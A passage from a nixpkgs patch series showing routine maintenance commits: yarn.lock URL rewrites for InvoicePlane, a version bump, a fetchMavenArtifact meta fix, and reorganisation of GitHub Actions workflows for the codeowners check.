--  integrity sha512-OIAYXk8+ISY+qTOwkHtKqzAuxchoMiD9Udx+FSGQDuiRR+PJKJHc2NJAXlbhkGwTt/4/nKZxELY1w3ReWOL8mw==
--
--type-fest@^0.6.0:
--  version "0.6.0"
--  resolved "https://registry.yarnpkg.com/type-fest/-/type-fest-0.6.0.tgz#8d2a2370d3df886eb5c90ada1c5bf6188acf838b"
--  integrity sha512-q+MB8nYR1KDLrgr4G5yemftpMC7/QLqVndBmEEdqzmNj5dcFOO4Oo8qlwZE3ULT3+Zim1F8Kq4cBnikNhlCMlg==
--
--type-fest@^0.8.1:
--  version "0.8.1"
--  resolved "https://registry.yarnpkg.com/type-fest/-/type-fest-0.8.1.tgz#09e249ebde851d3b1e48d27c105444667f17b83d"
--  integrity sha512-4dbzIzqvjtgiM5rw1k5rEHtBANKmdudhGyBEajN01fEyhaAIhsoKNy6y7+IN93IfpFtwY9iqi7kD+xwKhQsNJA==
--
- uglify-js@^3.16.1:
-   version "3.19.3"
-   resolved "https://registry.yarnpkg.com/uglify-js/-/uglify-js-3.19.3.tgz#82315e9bbc6f2b25888858acd1fff8441035b77f"
-@@ -2460,81 +1539,45 @@ uglify-js@^3.16.1:
- 
- unc-path-regex@^0.1.2:
-   version "0.1.2"
--  resolved "https://registry.yarnpkg.com/unc-path-regex/-/unc-path-regex-0.1.2.tgz#e73dd3d7b0d7c5ed86fbac6b0ae7d8c6a69d50fa"
-+  resolved "https://registry.npmjs.org/unc-path-regex/-/unc-path-regex-0.1.2.tgz"
-   integrity sha512-eXL4nmJT7oCpkZsHZUOJo8hcX3GbsiDOa0Qu9F646fi8dT3XuSVopVqAcEiVzSKKH7UoDti23wNX3qGFxcW5Qg==
- 
- underscore.string@~3.3.5:
-   version "3.3.6"
--  resolved "https://registry.yarnpkg.com/underscore.string/-/underscore.string-3.3.6.tgz#ad8cf23d7423cb3b53b898476117588f4e2f9159"
-+  resolved "https://registry.npmjs.org/underscore.string/-/underscore.string-3.3.6.tgz"
-   integrity sha512-VoC83HWXmCrF6rgkyxS9GHv8W9Q5nhMKho+OadDJGzL2oDYbYEppBaCMH6pFlwLeqj2QS+hhkw2kpXkSdD1JxQ==
-   dependencies:
-     sprintf-js "^1.1.1"
-     util-deprecate "^1.0.2"
- 
--unique-filename@^1.1.1:
--  version "1.1.1"
--  resolved "https://registry.yarnpkg.com/unique-filename/-/unique-filename-1.1.1.tgz#1d69769369ada0583103a1e6ae87681b56573230"
--  integrity sha512-Vmp0jIp2ln35UTXuryvjzkjGdRyf9b2lTXuSYUiPmzRcl3FDtYqAwOnTJkAngD9SWhnoJzDbTKwaOrZ+STtxNQ==
--  dependencies:
--    unique-slug "^2.0.0"
--
--unique-filename@^2.0.0:
--  version "2.0.1"
--  resolved "https://registry.yarnpkg.com/unique-filename/-/unique-filename-2.0.1.tgz#e785f8675a9a7589e0ac77e0b5c34d2eaeac6da2"
--  integrity sha512-ODWHtkkdx3IAR+veKxFV+VBkUMcN+FaqzUUd7IZzt+0zhDZFPFxhlqwPF3YQvMHx1TD0tdgYl+kuPnJ8E6ql7A==
--  dependencies:
--    unique-slug "^3.0.0"
--
--unique-slug@^2.0.0:
--  version "2.0.2"
--  resolved "https://registry.yarnpkg.com/unique-slug/-/unique-slug-2.0.2.tgz#baabce91083fc64e945b0f3ad613e264f7cd4e6c"
--  integrity sha512-zoWr9ObaxALD3DOPfjPSqxt4fnZiWblxHIgeWqW8x7UqDzEtHEQLzji2cuJYQFCU6KmoJikOYAZlrTHHebjx2w==
--  dependencies:
--    imurmurhash "^0.1.4"
--
--unique-slug@^3.0.0:
--  version "3.0.0"
--  resolved "https://registry.yarnpkg.com/unique-slug/-/unique-slug-3.0.0.tgz#6d347cf57c8a7a7a6044aabd0e2d74e4d76dc7c9"
--  integrity sha512-8EyMynh679x/0gqE9fT9oilG+qEt+ibFyqjuVTsZn1+CMxH+XLlpvr2UZx4nVcCwTpx81nICr2JQFkM+HPLq4w==
--  dependencies:
--    imurmurhash "^0.1.4"
--
--update-browserslist-db@^1.1.1:
--  version "1.1.1"
--  resolved "https://registry.yarnpkg.com/update-browserslist-db/-/update-browserslist-db-1.1.1.tgz#80846fba1d79e82547fb661f8d141e0945755fe5"
--  integrity sha512-R8UzCaa9Az+38REPiJ1tXlImTJXlVfgHZsglwBD/k6nj76ctsH1E3q4doGrukiLQd3sGQYu56r5+lo5r94l29A==
-+update-browserslist-db@^1.1.3:
-+  version "1.1.3"
-+  resolved "https://registry.yarnpkg.com/update-browserslist-db/-/update-browserslist-db-1.1.3.tgz#348377dd245216f9e7060ff50b15a1b740b75420"
-+  integrity sha512-UxhIZQ+QInVdunkDAaiazvvT/+fXL5Osr0JZlJulepYu6Jd7qJtDZjlur0emRlT71EN3ScPoE7gvsuIKKNavKw==
-   dependencies:
-     escalade "^3.2.0"
--    picocolors "^1.1.0"
-+    picocolors "^1.1.1"
- 
- uri-path@^1.0.0:
-   version "1.0.0"
--  resolved "https://registry.yarnpkg.com/uri-path/-/uri-path-1.0.0.tgz#9747f018358933c31de0fccfd82d138e67262e32"
-+  resolved "https://registry.npmjs.org/uri-path/-/uri-path-1.0.0.tgz"
-   integrity sha512-8pMuAn4KacYdGMkFaoQARicp4HSw24/DHOVKWqVRJ8LhhAwPPFpdGvdL9184JVmUwe7vz7Z9n6IqI6t5n2ELdg==
- 
--util-deprecate@^1.0.1, util-deprecate@^1.0.2, util-deprecate@~1.0.1:
-+util-deprecate@^1.0.2:
-   version "1.0.2"
--  resolved "https://registry.yarnpkg.com/util-deprecate/-/util-deprecate-1.0.2.tgz#450d4dc9fa70de732762fbd2d4a28981419a0ccf"
-+  resolved "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz"
-   integrity sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==
- 
- v8flags@~3.2.0:
-   version "3.2.0"
--  resolved "https://registry.yarnpkg.com/v8flags/-/v8flags-3.2.0.tgz#b243e3b4dfd731fa774e7492128109a0fe66d656"
-+  resolved "https://registry.npmjs.org/v8flags/-/v8flags-3.2.0.tgz"
-   integrity sha512-mH8etigqMfiGWdeXpaaqGfs6BndypxusHHcv2qSHyZkGEznCd/qAXCWWRzeowtL54147cktFOC4P5y+kl8d8Jg==
-   dependencies:
-     homedir-polyfill "^1.0.1"
- 
--validate-npm-package-license@^3.0.1:
--  version "3.0.4"
--  resolved "https://registry.yarnpkg.com/validate-npm-package-license/-/validate-npm-package-license-3.0.4.tgz#fc91f6b9c7ba15c857f4cb2c5defeec39d4f410a"
--  integrity sha512-DpKm2Ui/xN7/HQKCtpZxoRWBhZ9Z0kqtygG8XCgNQ8ZlDnxuQmWhj566j8fN4Cu3/JmbhsDo7fcAJq4s9h27Ew==
--  dependencies:
--    spdx-correct "^3.0.0"
--    spdx-expression-parse "^3.0.0"
--
- websocket-driver@>=0.5.1:
-   version "0.7.4"
--  resolved "https://registry.yarnpkg.com/websocket-driver/-/websocket-driver-0.7.4.tgz#89ad5295bbf64b480abcba31e4953aca706f5760"
-+  resolved "https://registry.npmjs.org/websocket-driver/-/websocket-driver-0.7.4.tgz"
-   integrity sha512-b17KeDIQVjvb0ssuSDF2cYXSg2iztliJ4B9WdsuB6J952qCPKmnVq4DyW5motImXHDC1cBT/1UezrJVsKw5zjg==
-   dependencies:
-     http-parser-js ">=0.5.1"
-@@ -2543,78 +1586,29 @@ websocket-driver@>=0.5.1:
- 
- websocket-extensions@>=0.1.1:
-   version "0.1.4"
--  resolved "https://registry.yarnpkg.com/websocket-extensions/-/websocket-extensions-0.1.4.tgz#7f8473bc839dfd87608adb95d7eb075211578a42"
-+  resolved "https://registry.npmjs.org/websocket-extensions/-/websocket-extensions-0.1.4.tgz"
-   integrity sha512-OqedPIGOfsDlo31UNwYbCFMSaO9m9G/0faIHj5/dZFDMFqPTcx6UwqyOy3COEaEOg/9VsGIpdqn62W5KhoKSpg==
- 
- which@^1.2.14:
-   version "1.3.1"
--  resolved "https://registry.yarnpkg.com/which/-/which-1.3.1.tgz#a45043d54f5805316da8d62f9f50918d3da70b0a"
-+  resolved "https://registry.npmjs.org/which/-/which-1.3.1.tgz"
-   integrity sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==
-   dependencies:
-     isexe "^2.0.0"
- 
--which@^2.0.1, which@^2.0.2, which@~2.0.2:
-+which@~2.0.2:
-   version "2.0.2"
--  resolved "https://registry.yarnpkg.com/which/-/which-2.0.2.tgz#7c6a8dd0a636a0327e10b59c9286eee93f3f51b1"
-+  resolved "https://registry.npmjs.org/which/-/which-2.0.2.tgz"
-   integrity sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==
-   dependencies:
-     isexe "^2.0.0"
- 
--wide-align@^1.1.5:
--  version "1.1.5"
--  resolved "https://registry.yarnpkg.com/wide-align/-/wide-align-1.1.5.tgz#df1d4c206854369ecf3c9a4898f1b23fbd9d15d3"
--  integrity sha512-eDMORYaPNZ4sQIuuYPDHdQvf4gyCF9rEEV/yPxGfwPkRodwEgiMUUXTx/dex+Me0wxx53S+NgUHaP7y3MGlDmg==
--  dependencies:
--    string-width "^1.0.2 || 2 || 3 || 4"
--
--wrap-ansi@^7.0.0:
--  version "7.0.0"
--  resolved "https://registry.yarnpkg.com/wrap-ansi/-/wrap-ansi-7.0.0.tgz#67e145cff510a6a6984bdf1152911d69d2eb9e43"
--  integrity sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==
--  dependencies:
--    ansi-styles "^4.0.0"
--    string-width "^4.1.0"
--    strip-ansi "^6.0.0"
--
- wrappy@1:
-   version "1.0.2"
--  resolved "https://registry.yarnpkg.com/wrappy/-/wrappy-1.0.2.tgz#b5243d8f3ec1aa35f1364605bc0d1036e30ab69f"
-+  resolved "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz"
-   integrity sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==
- 
--y18n@^5.0.5:
--  version "5.0.8"
--  resolved "https://registry.yarnpkg.com/y18n/-/y18n-5.0.8.tgz#7f4934d0f7ca8c56f95314939ddcd2dd91ce1d55"
--  integrity sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==
--
--yallist@^4.0.0:
--  version "4.0.0"
--  resolved "https://registry.yarnpkg.com/yallist/-/yallist-4.0.0.tgz#9bb92790d9c0effec63be73519e11a35019a3a72"
--  integrity sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==
--
--yargs-parser@^20.2.3:
--  version "20.2.9"
--  resolved "https://registry.yarnpkg.com/yargs-parser/-/yargs-parser-20.2.9.tgz#2eb7dc3b0289718fc295f362753845c41a0c94ee"
--  integrity sha512-y11nGElTIV+CT3Zv9t7VKl+Q3hTQoT9a1Qzezhhl6Rp21gJ/IVTW7Z3y9EWXhuUBC2Shnf+DX0antecpAwSP8w==
--
--yargs-parser@^21.1.1:
--  version "21.1.1"
--  resolved "https://registry.yarnpkg.com/yargs-parser/-/yargs-parser-21.1.1.tgz#9096bceebf990d21bb31fa9516e0ede294a77d35"
--  integrity sha512-tVpsJW7DdjecAiFpbIB1e3qxIQsE6NoPc5/eTdrbbIC4h0LVsWhnoa3g+m2HclBIujHzsxZ4VJVA+GUuc2/LBw==
--
--yargs@^17.2.1:
--  version "17.7.2"
--  resolved "https://registry.yarnpkg.com/yargs/-/yargs-17.7.2.tgz#991df39aca675a192b816e1e0363f9d75d2aa269"
--  integrity sha512-7dSzzRQ++CKnNI/krKnYRV7JKKPUXMEh61soaHKg9mrWEhzFWhFnxPxGl+69cD1Ou63C13NUPCnmIcrvqCuM6w==
--  dependencies:
--    cliui "^8.0.1"
--    escalade "^3.1.1"
--    get-caller-file "^2.0.5"
--    require-directory "^2.1.1"
--    string-width "^4.2.3"
--    y18n "^5.0.5"
--    yargs-parser "^21.1.1"
--
- zxcvbn@4.4:
-   version "4.4.2"
--  resolved "https://registry.yarnpkg.com/zxcvbn/-/zxcvbn-4.4.2.tgz#28ec17cf09743edcab056ddd8b1b06262cc73c30"
-+  resolved "https://registry.npmjs.org/zxcvbn/-/zxcvbn-4.4.2.tgz"
-   integrity sha512-Bq0B+ixT/DMyG8kgX2xWcI5jUvCwqrMxSFam7m0lAf78nf04hv6lNCsyLYdyYTrCVMqNDY/206K7eExYCeSyUQ==
diff --git a/pkgs/by-name/in/invoiceplane/package.nix b/pkgs/by-name/in/invoiceplane/package.nix
index 18031d2d9a04..4fa9b79c69d2 100644
--- a/pkgs/by-name/in/invoiceplane/package.nix
+++ b/pkgs/by-name/in/invoiceplane/package.nix
@@ -12,12 +12,12 @@
   fetchzip,
 }:
 let
-  version = "1.6.2";
+  version = "1.6.3";
   # Fetch release tarball which contains language files
   # https://github.com/InvoicePlane/InvoicePlane/issues/1170
   languages = fetchzip {
     url = "https://github.com/InvoicePlane/InvoicePlane/releases/download/v${version}/v${version}.zip";
-    hash = "sha256-ME8ornP2uevvH8DzuI25Z8OV0EP98CBgbunvb2Hbr9M=";
+    hash = "sha256-MuqxbkayW3GeiaorxfZSJtlwCWvnIF2ED/UUqahyoIQ=";
   };
 in
 php.buildComposerProject2 (finalAttrs: {
@@ -28,16 +28,19 @@ php.buildComposerProject2 (finalAttrs: {
     owner = "InvoicePlane";
     repo = "InvoicePlane";
     tag = "v${version}";
-    hash = "sha256-E2TZ/FhlVKZpGuczXb/QLn27gGiO7YYlAkPSolTEoeQ=";
+    hash = "sha256-XNjdFWP5AEulbPZcMDXYSdDhaLWlgu3nnCSFnjUjGpk=";
   };
 
   patches = [
-    # Node-sass is deprecated and fails to cross-compile
-    # See: https://github.com/InvoicePlane/InvoicePlane/issues/1275
-    ./node_switch_to_sass.patch
+    # yarn.lock missing some resolved attributes and fails
+    ./fix-yarn-lock.patch
+
+    # Fix composer.json validation
+    # See https://github.com/InvoicePlane/InvoicePlane/pull/1306
+    ./fix_composer_validation.patch
   ];
 
-  vendorHash = "sha256-eq3YKIZZzZihDYgFH3YTETHvNG6hAE/oJ5Ul2XRMn4U=";
+  vendorHash = "sha256-qnWLcEabQpu0Yp4Q2NWQm4XFV4YW679cvXo6p/dDECI=";
 
   nativeBuildInputs = [
     yarnConfigHook
@@ -49,12 +52,9 @@ php.buildComposerProject2 (finalAttrs: {
 
   offlineCache = fetchYarnDeps {
     inherit (finalAttrs) src patches;
-    hash = "sha256-qAm4HnZwfwfjv7LqG+skmFLTHCSJKWH8iRDWFFebXEs=";
+    hash = "sha256-0fPdxOIeQBTulPUxHtaQylm4jevQTONSN1bChqbGbGs=";
   };
 
-  # Upstream composer.json file is missing the name, description and license fields
-  composerStrictValidation = false;
-
   postBuild = ''
     grunt build
   '';

From a0c2500457d3626a067700df1777ab0c41134d49 Mon Sep 17 00:00:00 2001
From: Jonas Heinrich <onny@project-insanity.org>
Date: Thu, 7 Aug 2025 12:54:16 +0200
Subject: [PATCH 3680/4511] nixos/invoiceplane: Update patch

(cherry picked from commit aa06ffc4c32b2dd117da5d591cb2e9620fc0c4a5)
---
 nixos/modules/services/web-apps/invoiceplane.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/nixos/modules/services/web-apps/invoiceplane.nix b/nixos/modules/services/web-apps/invoiceplane.nix
index 10bac784e5f0..4501f1154517 100644
--- a/nixos/modules/services/web-apps/invoiceplane.nix
+++ b/nixos/modules/services/web-apps/invoiceplane.nix
@@ -70,7 +70,7 @@ let
       postPatch = ''
         # Patch index.php file to load additional config file
         substituteInPlace index.php \
-          --replace-fail "require('vendor/autoload.php');" "require('vendor/autoload.php'); \$dotenv = Dotenv\Dotenv::createImmutable(__DIR__, 'extraConfig.php'); \$dotenv->load();";
+          --replace-fail "require __DIR__ . '/vendor/autoload.php';" "require('vendor/autoload.php'); \$dotenv = Dotenv\Dotenv::createImmutable(__DIR__, 'extraConfig.php'); \$dotenv->load();";
       '';
 
       installPhase = ''

From de8ff28a5aeeb75c1b1d2bba23dabe0b345eee95 Mon Sep 17 00:00:00 2001
From: Volker Diels-Grabsch <v@njh.eu>
Date: Fri, 15 Aug 2025 14:17:02 +0200
Subject: [PATCH 3681/4511] fetchMavenArtifact: fix metadata support

Fix fetchMavenArtifact to forward the "meta" attribute to mkDerivation
rather than fetchurl.

(cherry picked from commit f81a2dfa52e68530368b8eb1580376f49dc2ef2a)
---
 pkgs/build-support/fetchmavenartifact/default.nix | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/pkgs/build-support/fetchmavenartifact/default.nix b/pkgs/build-support/fetchmavenartifact/default.nix
index eca360057a60..1da312f5d100 100644
--- a/pkgs/build-support/fetchmavenartifact/default.nix
+++ b/pkgs/build-support/fetchmavenartifact/default.nix
@@ -31,6 +31,8 @@ args@{
   # and `urls` can be specified, not both.
   url ? "",
   urls ? [ ],
+  # Metadata
+  meta ? { },
   # The rest of the arguments are just forwarded to `fetchurl`.
   ...
 }:
@@ -71,6 +73,7 @@ let
       "classifier"
       "repos"
       "url"
+      "meta"
     ]
     // {
       urls = urls_;
@@ -79,7 +82,7 @@ let
   );
 in
 stdenv.mkDerivation {
-  inherit pname version;
+  inherit pname version meta;
   dontUnpack = true;
   # By moving the jar to $out/share/java we make it discoverable by java
   # packages packages that mention this derivation in their buildInputs.

From 4daef5d84736b9e7bc4399e138fd18c093b22f8e Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sun, 17 Aug 2025 21:57:11 +0200
Subject: [PATCH 3682/4511] workflows/codeowners: move global env into jobs

Preparation to split the whole file.

(cherry picked from commit c9624615562f7227d4f4273aa2d506806e694c64)
---
 .github/workflows/codeowners-v2.yml | 11 ++++-------
 1 file changed, 4 insertions(+), 7 deletions(-)

diff --git a/.github/workflows/codeowners-v2.yml b/.github/workflows/codeowners-v2.yml
index b8efcd549aea..e8786805397f 100644
--- a/.github/workflows/codeowners-v2.yml
+++ b/.github/workflows/codeowners-v2.yml
@@ -39,11 +39,6 @@ defaults:
   run:
     shell: bash
 
-env:
-  OWNERS_FILE: ci/OWNERS
-  # Don't do anything on draft PRs
-  DRY_MODE: ${{ github.event.pull_request.draft && '1' || '' }}
-
 jobs:
   # Check that code owners is valid
   check:
@@ -91,7 +86,7 @@ jobs:
       - name: Validate codeowners
         if: steps.app-token.outputs.token
         env:
-          OWNERS_FILE: untrusted/${{ env.OWNERS_FILE }}
+          OWNERS_FILE: untrusted/ci/OWNERS
           GITHUB_ACCESS_TOKEN: ${{ steps.app-token.outputs.token }}
           REPOSITORY_PATH: untrusted
           OWNER_CHECKER_REPOSITORY: ${{ github.repository }}
@@ -142,7 +137,9 @@ jobs:
         if: steps.app-token.outputs.token
         env:
           GH_TOKEN: ${{ steps.app-token.outputs.token }}
-        run: result/bin/request-code-owner-reviews.sh ${{ github.repository }} ${{ github.event.number }} "$OWNERS_FILE"
+          # Don't do anything on draft PRs
+          DRY_MODE: ${{ github.event.pull_request.draft && '1' || '' }}
+        run: result/bin/request-code-owner-reviews.sh ${{ github.repository }} ${{ github.event.number }} ci/OWNERS
 
       - name: Log current API rate limits
         if: steps.app-token.outputs.token

From f27f68194ac7e70bd21ecc2799a82feeb1d6dbc6 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sun, 17 Aug 2025 22:06:11 +0200
Subject: [PATCH 3683/4511] workflows/codeowners: split comment for each job

Allows splitting the workflow file in the next step.

(cherry picked from commit 368a2d6254b33fd0a583db479fbfeb17eda4459e)
---
 .github/workflows/codeowners-v2.yml | 43 ++++++++++++++---------------
 1 file changed, 20 insertions(+), 23 deletions(-)

diff --git a/.github/workflows/codeowners-v2.yml b/.github/workflows/codeowners-v2.yml
index e8786805397f..a6a19c2e0b99 100644
--- a/.github/workflows/codeowners-v2.yml
+++ b/.github/workflows/codeowners-v2.yml
@@ -1,25 +1,3 @@
-# This workflow depends on two GitHub Apps with the following permissions:
-# - For checking code owners:
-#   - Permissions:
-#     - Repository > Administration: read-only
-#     - Organization > Members: read-only
-#   - Install App on this repository, setting these variables:
-#     - OWNER_RO_APP_ID (variable)
-#     - OWNER_RO_APP_PRIVATE_KEY (secret)
-# - For requesting code owners:
-#   - Permissions:
-#     - Repository > Administration: read-only
-#     - Organization > Members: read-only
-#     - Repository > Pull Requests: read-write
-#   - Install App on this repository, setting these variables:
-#     - OWNER_APP_ID (variable)
-#     - OWNER_APP_PRIVATE_KEY (secret)
-#
-# This split is done because checking code owners requires handling untrusted PR input,
-# while requesting code owners requires PR write access, and those shouldn't be mixed.
-#
-# Note that the latter is also used for ./eval.yml requesting reviewers.
-
 name: Codeowners v2
 
 on:
@@ -40,7 +18,16 @@ defaults:
     shell: bash
 
 jobs:
-  # Check that code owners is valid
+  # For checking code owners, this job depends on a GitHub App with the following permissions:
+  # - Permissions:
+  #   - Repository > Administration: read-only
+  #   - Organization > Members: read-only
+  # - Install App on this repository, setting these variables:
+  #   - OWNER_RO_APP_ID (variable)
+  #   - OWNER_RO_APP_PRIVATE_KEY (secret)
+  #
+  # This should not use the same app as the job to request reviewers, because this job requires
+  # handling untrusted PR input.
   check:
     name: Check
     runs-on: ubuntu-24.04-arm
@@ -101,6 +88,16 @@ jobs:
         run: gh api /rate_limit | jq
 
   # Request reviews from code owners
+  # For requesting code owners, this job depends on a GitHub App with the following permissions:
+  # - Permissions:
+  #   - Repository > Administration: read-only
+  #   - Organization > Members: read-only
+  #   - Repository > Pull Requests: read-write
+  # - Install App on this repository, setting these variables:
+  #   - OWNER_APP_ID (variable)
+  #   - OWNER_APP_PRIVATE_KEY (secret)
+  #
+  # Note that this app is also used for ./eval.yml requesting reviewers.
   request:
     name: Request
     runs-on: ubuntu-24.04-arm

From aefe360c78b744a3f3d1c3596a70efb750c4e6d3 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sun, 17 Aug 2025 22:11:51 +0200
Subject: [PATCH 3684/4511] workflows/check: move owners check job from
 codeowners

This runs the "check owners" job as part of the main PR workflow, with
multiple advantages:
- The job doesn't run anymore when undrafting a PR, where it's not
required, because the OWNERS file's contents didn't change.
- A valid OWNERS file is now a requirement to merge a PR.
- The OWNERS file is always checked on the exact same test merge commit
that the remainder of the workflows are running on as well.

(cherry picked from commit 15be04f7a2e228dae69ce364ae15a164a63c509c)
---
 .github/workflows/check.yml         | 80 +++++++++++++++++++++++++++++
 .github/workflows/codeowners-v2.yml | 69 -------------------------
 .github/workflows/pr.yml            |  5 ++
 3 files changed, 85 insertions(+), 69 deletions(-)

diff --git a/.github/workflows/check.yml b/.github/workflows/check.yml
index ece7a287eaae..c06729fa7f5d 100644
--- a/.github/workflows/check.yml
+++ b/.github/workflows/check.yml
@@ -9,6 +9,17 @@ on:
       headBranch:
         required: true
         type: string
+      mergedSha:
+        required: true
+        type: string
+      targetSha:
+        required: true
+        type: string
+    secrets:
+      CACHIX_AUTH_TOKEN:
+        required: true
+      OWNER_RO_APP_PRIVATE_KEY:
+        required: true
 
 permissions: {}
 
@@ -70,3 +81,72 @@ jobs:
         env:
           GH_TOKEN: ${{ github.token }}
         run: gh api /rate_limit | jq
+
+  # For checking code owners, this job depends on a GitHub App with the following permissions:
+  # - Permissions:
+  #   - Repository > Administration: read-only
+  #   - Organization > Members: read-only
+  # - Install App on this repository, setting these variables:
+  #   - OWNER_RO_APP_ID (variable)
+  #   - OWNER_RO_APP_PRIVATE_KEY (secret)
+  #
+  # This should not use the same app as the job to request reviewers, because this job requires
+  # handling untrusted PR input.
+  owners:
+    runs-on: ubuntu-24.04-arm
+    timeout-minutes: 5
+    steps:
+      - uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
+        with:
+          sparse-checkout: .github/actions
+      - name: Check if the PR can be merged and checkout the merge and target commits
+        uses: ./.github/actions/get-merge-commit
+        with:
+          mergedSha: ${{ inputs.mergedSha }}
+          merged-as-untrusted: true
+          pinnedFrom: trusted
+          targetSha: ${{ inputs.targetSha }}
+          target-as-trusted: true
+
+      - uses: cachix/install-nix-action@fc6e360bedc9ee72d75e701397f0bb30dce77568 # v31
+
+      - uses: cachix/cachix-action@0fc020193b5a1fa3ac4575aa3a7d3aa6a35435ad # v16
+        with:
+          # This cache is for the nixpkgs repo checks and should not be trusted or used elsewhere.
+          name: nixpkgs-ci
+          authToken: '${{ secrets.CACHIX_AUTH_TOKEN }}'
+
+      - name: Build codeowners validator
+        run: nix-build trusted/ci --arg nixpkgs ./pinned -A codeownersValidator
+
+      - uses: actions/create-github-app-token@0f859bf9e69e887678d5bbfbee594437cb440ffe # v2.1.0
+        if: github.event_name == 'pull_request_target' && vars.OWNER_RO_APP_ID
+        id: app-token
+        with:
+          app-id: ${{ vars.OWNER_RO_APP_ID }}
+          private-key: ${{ secrets.OWNER_RO_APP_PRIVATE_KEY }}
+          permission-administration: read
+          permission-members: read
+
+      - name: Log current API rate limits
+        if: steps.app-token.outputs.token
+        env:
+          GH_TOKEN: ${{ steps.app-token.outputs.token }}
+        run: gh api /rate_limit | jq
+
+      - name: Validate codeowners
+        if: steps.app-token.outputs.token
+        env:
+          OWNERS_FILE: untrusted/ci/OWNERS
+          GITHUB_ACCESS_TOKEN: ${{ steps.app-token.outputs.token }}
+          REPOSITORY_PATH: untrusted
+          OWNER_CHECKER_REPOSITORY: ${{ github.repository }}
+          # Set this to "notowned,avoid-shadowing" to check that all files are owned by somebody
+          EXPERIMENTAL_CHECKS: "avoid-shadowing"
+        run: result/bin/codeowners-validator
+
+      - name: Log current API rate limits
+        if: steps.app-token.outputs.token
+        env:
+          GH_TOKEN: ${{ steps.app-token.outputs.token }}
+        run: gh api /rate_limit | jq
diff --git a/.github/workflows/codeowners-v2.yml b/.github/workflows/codeowners-v2.yml
index a6a19c2e0b99..71bf4da1ee7d 100644
--- a/.github/workflows/codeowners-v2.yml
+++ b/.github/workflows/codeowners-v2.yml
@@ -18,75 +18,6 @@ defaults:
     shell: bash
 
 jobs:
-  # For checking code owners, this job depends on a GitHub App with the following permissions:
-  # - Permissions:
-  #   - Repository > Administration: read-only
-  #   - Organization > Members: read-only
-  # - Install App on this repository, setting these variables:
-  #   - OWNER_RO_APP_ID (variable)
-  #   - OWNER_RO_APP_PRIVATE_KEY (secret)
-  #
-  # This should not use the same app as the job to request reviewers, because this job requires
-  # handling untrusted PR input.
-  check:
-    name: Check
-    runs-on: ubuntu-24.04-arm
-    timeout-minutes: 5
-    steps:
-      - uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
-        with:
-          sparse-checkout: |
-            .github/actions
-            ci/github-script
-      - name: Check if the PR can be merged and checkout the merge and target commits
-        uses: ./.github/actions/get-merge-commit
-        with:
-          merged-as-untrusted: true
-          target-as-trusted: true
-
-      - uses: cachix/install-nix-action@fc6e360bedc9ee72d75e701397f0bb30dce77568 # v31
-
-      - uses: cachix/cachix-action@0fc020193b5a1fa3ac4575aa3a7d3aa6a35435ad # v16
-        with:
-          # This cache is for the nixpkgs repo checks and should not be trusted or used elsewhere.
-          name: nixpkgs-ci
-          authToken: '${{ secrets.CACHIX_AUTH_TOKEN }}'
-
-      - name: Build codeowners validator
-        run: nix-build trusted/ci -A codeownersValidator
-
-      - uses: actions/create-github-app-token@0f859bf9e69e887678d5bbfbee594437cb440ffe # v2.1.0
-        if: github.event_name == 'pull_request_target' && vars.OWNER_RO_APP_ID
-        id: app-token
-        with:
-          app-id: ${{ vars.OWNER_RO_APP_ID }}
-          private-key: ${{ secrets.OWNER_RO_APP_PRIVATE_KEY }}
-          permission-administration: read
-          permission-members: read
-
-      - name: Log current API rate limits
-        if: steps.app-token.outputs.token
-        env:
-          GH_TOKEN: ${{ steps.app-token.outputs.token }}
-        run: gh api /rate_limit | jq
-
-      - name: Validate codeowners
-        if: steps.app-token.outputs.token
-        env:
-          OWNERS_FILE: untrusted/ci/OWNERS
-          GITHUB_ACCESS_TOKEN: ${{ steps.app-token.outputs.token }}
-          REPOSITORY_PATH: untrusted
-          OWNER_CHECKER_REPOSITORY: ${{ github.repository }}
-          # Set this to "notowned,avoid-shadowing" to check that all files are owned by somebody
-          EXPERIMENTAL_CHECKS: "avoid-shadowing"
-        run: result/bin/codeowners-validator
-
-      - name: Log current API rate limits
-        if: steps.app-token.outputs.token
-        env:
-          GH_TOKEN: ${{ steps.app-token.outputs.token }}
-        run: gh api /rate_limit | jq
-
   # Request reviews from code owners
   # For requesting code owners, this job depends on a GitHub App with the following permissions:
   # - Permissions:
diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml
index 6c7e37b9db22..1de7d6614c9c 100644
--- a/.github/workflows/pr.yml
+++ b/.github/workflows/pr.yml
@@ -87,9 +87,14 @@ jobs:
     permissions:
       # cherry-picks
       pull-requests: write
+    secrets:
+      CACHIX_AUTH_TOKEN: ${{ secrets.CACHIX_AUTH_TOKEN }}
